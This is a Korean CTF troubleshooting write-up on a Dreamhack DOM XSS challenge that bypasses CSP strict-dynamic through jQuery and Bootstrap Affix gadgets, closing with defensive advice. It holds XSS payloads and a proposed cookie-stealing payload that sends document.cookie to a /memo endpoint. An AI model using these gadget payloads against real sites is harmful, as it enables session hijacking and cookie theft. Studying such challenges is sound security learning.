[Dreamhack] DOM XSS with CSP strict-dynamic — 트러블슈팅 기록
jQuery + Bootstrap gadget을 이용한 CSP strict-dynamic 우회 문제. 이 글은 아직 flag를 획득하지 못한 상태의 트러블슈팅 기록이다. 각 시도가 왜 실패했는지, 어떤 오해가 있었는지를 중심으로 정리한다.
1. 배경
innerHTML sink에 location.hash가 필터 없이 들어가는 전형적인 DOM XSS다. 다만 CSP가 걸려 있어 단순 페이로드로는 실행되지 않고, 페이지에 로드된 nonce 스크립트(jQuery 1.12.4, Bootstrap 3.3.2)를 gadget으로 이용해 strict-dynamic을 우회하는 방법을 사용했다.
목표는 봇(관리자)이 가진 flag 쿠키를 탈취하는 것이다.
2. 코드 분석
2.1 취약한 sink (vuln.html)
<script nonce={{ nonce }}>
window.addEventListener("load", function() {
var name_elem = document.getElementById("name");
name_elem.innerHTML = `${location.hash.slice(1)} is my name !`;
});
</script>
{{ param | safe }}
<pre id="name"></pre>
- location.hash.slice(1)(source) → innerHTML(sink), 필터 없음
- {{ param | safe }} : param은 서버사이드에서 이스케이프 없이 렌더링됨 (HTML 주입 가능)
- 삽입은 window.load 이벤트 콜백 안에서 발생
2.2 CSP

핵심 포인트:
- script-src에 unsafe-inline 없음 → 인라인 이벤트 핸들러(onerror, onclick 등) 차단
- img-src https://dreamhack.io → 이미지는 dreamhack.io에서만 로드 가능
- nonce + strict-dynamic → nonce를 가진 스크립트와, 그 스크립트가 동적으로 생성한 스크립트만 실행. 'self'·호스트 화이트리스트는 script에 대해 무시됨
- nonce는 os.urandom(16).hex()로 매 응답마다 재생성 → 예측 불가
2.3 봇 동작 (app.py)
def check_xss(param, name, cookie):
url = f"http://127.0.0.1:8000/vuln?param={urllib.parse.quote(param)}#{name}"
return read_url(url, cookie)
- param은 urllib.parse.quote()로 인코딩, name(hash 부분)은 raw로 URL에 삽입
- 봇은 flag 쿠키를 세팅한 뒤 해당 URL을 방문, 3초 대기 후 종료 (implicitly_wait(3), set_page_load_timeout(3))
- 쿠키 도메인은 127.0.0.1 → 봇 내부에서만 접근되며, 봇이 방문하는 주소도 127.0.0.1:8000
2.4 데이터 저장소 (/memo)
@app.route("/memo")
def memo():
global memo_text
text = request.args.get("memo", "")
memo_text += text + "\n"
return render_template("memo.html", memo=memo_text, nonce=nonce)
- GET /memo?memo=값 → 서버 전역 변수에 append, 이후 /memo 방문 시 누적 출력
- 봇 쿠키 도메인이 127.0.0.1이고 봇도 127.0.0.1:8000을 방문하므로, 내부 /memo를 exfiltration 목적지로 사용 (봇이 쿠키를 /memo에 저장 → 공격자가 /memo 방문해 확인)
3. gadget 후보 분석
3.1 jQuery $()의 HTML 파싱 경로
jquery-1.12.4의 n.fn.init:
B = /^(?:\s*(<[\w\W]+>)[^>]*|#([\w-]*))$/
$(문자열)이 <...> 형태면 n.parseHTML로 HTML 파싱 → 내부에 <script>가 있으면 domManip → n.globalEval로 실행. jQuery가 nonce 신뢰 스크립트이므로 이 파생 실행은 strict-dynamic이 허용한다.
→ 결론: 우리가 통제하는 문자열이 $()에 들어가고, 그 안에 <script>가 있으면 실행 가능.
3.2 Bootstrap gadget 지점
window.load 시 자동 실행되는 지점 3곳을 확인:
플러그인 라인 우리 입력이 $(selector)에 들어가는가
| Carousel (data-ride="carousel") | 520 | 고정 selector만 사용 |
| ScrollSpy (data-spy="scroll") | 1982 | selector = (target || '') + ' .nav li > a' |
| Affix (data-spy="affix") | 2292 | $(this.options.target) 직접 |
Affix 생성자 (line 2160):
var Affix = function (element, options) {
this.options = $.extend({}, Affix.DEFAULTS, options)
this.$target = $(this.options.target) // ← data-target 값이 그대로 $()에
.on('scroll...', ...)
...
}
Affix data-api (line 2292):
$(window).on('load', function () {
$('[data-spy="affix"]').each(function () {
var $spy = $(this)
var data = $spy.data() // data-target → data.target
...
Plugin.call($spy, data) // new Affix(el, data)
})
})
→ data-spy="affix" 요소를 심고 data-target에 페이로드를 넣으면, 클릭 없이 window.load 시 자동으로 $(data-target값)이 실행된다.
Collapse gadget (getParent, line 666) 도 존재:
Collapse.prototype.getParent = function () {
return $(this.options.parent)
.find('[data-toggle="collapse"][data-parent="' + this.options.parent + '"]')
...
}
하지만 Collapse의 data-api는 클릭(click.bs.collapse.data-api) 기반이라 봇 환경에서 자동 트리거가 어렵다. → Affix 쪽이 유력.
4. 트러블슈팅
외부서버(webhook.site)를 이용하는 방법도 사용했으나 이 부분은 트러블슈팅에 포함하지 않았다.
시도 1 — <img src=x onerror=alert(1)> (인라인 핸들러)

결과: 콘솔 에러
Executing inline event handler violates ... script-src ... 'strict-dynamic'.
Note that hashes do not apply to event handlers ...
원인: onerror는 인라인 이벤트 핸들러다. strict-dynamic은 script 요소의 실행만 허용하며, 인라인 이벤트 핸들러는 unsafe-inline이 있어야 실행된다. img-src 위반(src=x)까지 겹쳐 이미지 로드 자체도 차단됨.
이 CSP 아래에서 onerror/onclick 류의 인라인 핸들러는 처음부터 불가능했다. gadget으로 <script>를 실행시키는 방향만 유효하다. 이 사실을 초반에 확정했어야 했다.
시도 2 — Collapse gadget (data-parent)의 자동 트리거 착오

결과: DOM에는 삽입되지만 alert 안 뜸.
원인 2가지:
- Collapse의 getParent()는 클릭 후 show()가 호출될 때 실행됨. Bootstrap 3.3.2의 collapse data-api는 click.bs.collapse.data-api 기반이라 봇이 클릭하지 않으면 트리거되지 않는다.
- 설령 트리거돼도 페이로드가 <img onerror>라 시도 1과 동일하게 CSP에 막힘.
교훈: gadget이 존재하는 것과 자동으로 트리거되는 것은 다르다. 봇은 페이지 로드만 하므로 window.load에 걸리는 gadget이어야 한다.
시도 3 — Affix gadget + <script>
<img onerror>가 불가능함을 확정한 뒤, gadget 페이로드를 <script>로 교체:
document.getElementById('name').innerHTML =
'<div data-spy="affix" data-target="<script>alert(1)</script>"></div>';
$('[data-spy="affix"]').each(function(){
var d=$(this).data(); d.offset=d.offset||{}; $(this).affix(d);
});
결과:
- CSP 인라인 핸들러 에러는 사라짐 (<img onerror> 제거 효과)
- 하지만 alert(1)도 안 뜸
- 콘솔에서 affix 요소는 정상 생성됨 (n {0: div.affix, length: 1, ...})
미해결 지점: $(this).affix(d) 호출 시 data-target 값이 실제로 $()에 전달되어 <script>가 실행되는지가 불명확. 두 가지 가능성:
- jQuery .data('target') 파싱 결과가 예상과 다름
- jQuery $()가 top-level <script>를 파싱 시 제거/미실행할 가능성
→ VM 시간 종료로 검증 중단.
5. 남은 검증 과제
① jQuery $()로 top-level <script>가 실행되는가
$('<script>alert(1)</script>');
- 뜨면 → gadget 접근은 유효, 타이밍(hash 삽입 → affix load 순서) 문제
- 안 뜨면 → jQuery가 top-level script를 특수 처리하는 것. <img> 등에 중첩하거나 다른 태그 조합 필요 (참고: jQuery의 $(html)은 <script>를 fragment에서 분리해 별도 실행하는데, 버전/경로에 따라 실행 여부가 갈린다)
② data-target이 .data()로 제대로 파싱되는가
var el = document.querySelector('[data-spy="affix"]');
console.log($(el).data()); // .target 값 확인
유력한 최종 페이로드 방향
Affix가 자동 트리거되고 $()가 script를 실행한다는 전제가 맞다면:
- param 칸: x
- name 칸(hash):
<div data-spy="affix" data-target="<script>location.href='http://127.0.0.1:8000/memo?memo='+document.cookie</script>"></div>
만약 top-level <script>가 실행되지 않으면, jQuery 파싱 경로에서 실행되는 형태(예: <img> 태그의 파싱을 이용하되 인라인 핸들러가 아닌 방식)로 재설계해야 한다.
6. 배운 점 정리
- strict-dynamic 아래에서 인라인 이벤트 핸들러(onerror 등)는 불가능. gadget으로 <script>를 실행시키는 방향만 유효하다. — 이걸 초반에 확정했어야 했다.
- gadget은 자동 트리거 여부가 핵심. 봇은 로드만 하므로 window.load에 걸리는 gadget(Affix 등)이어야 한다. 클릭 기반(Collapse)은 부적합.
- 서버 코드를 먼저 읽어라. hash 인코딩 동작, 봇의 URL 조합 방식, /memo 저장소의 존재 등 결정적 정보가 코드에 다 있었다. 추측으로 페이로드를 던지기 전에 코드를 봤다면 시행착오를 크게 줄였을 것이다.
- 페이로드는 '실행'과 'exfiltration'을 분리해 검증하라. 한 번에 합치면 실패 지점을 특정할 수 없다.
7. 방어법
- DOM XSS sink 제거: innerHTML 대신 textContent 사용. 굳이 HTML이 필요하면 DOMPurify 등으로 sanitize.
- CSP 강화: strict-dynamic을 쓰더라도, 페이지에 gadget이 될 수 있는 오래된 라이브러리(jQuery 1.x, Bootstrap 3.x)를 제거하거나 최신 버전으로 교체. gadget 없는 CSP가 진짜 방어다.
- 서버사이드 렌더링 이스케이프: {{ param | safe }} 같은 무조건적 safe 필터를 제거하고 기본 이스케이프를 유지.
- 입력 검증: location.hash 등 source 값을 sink에 넣기 전 화이트리스트 기반 검증.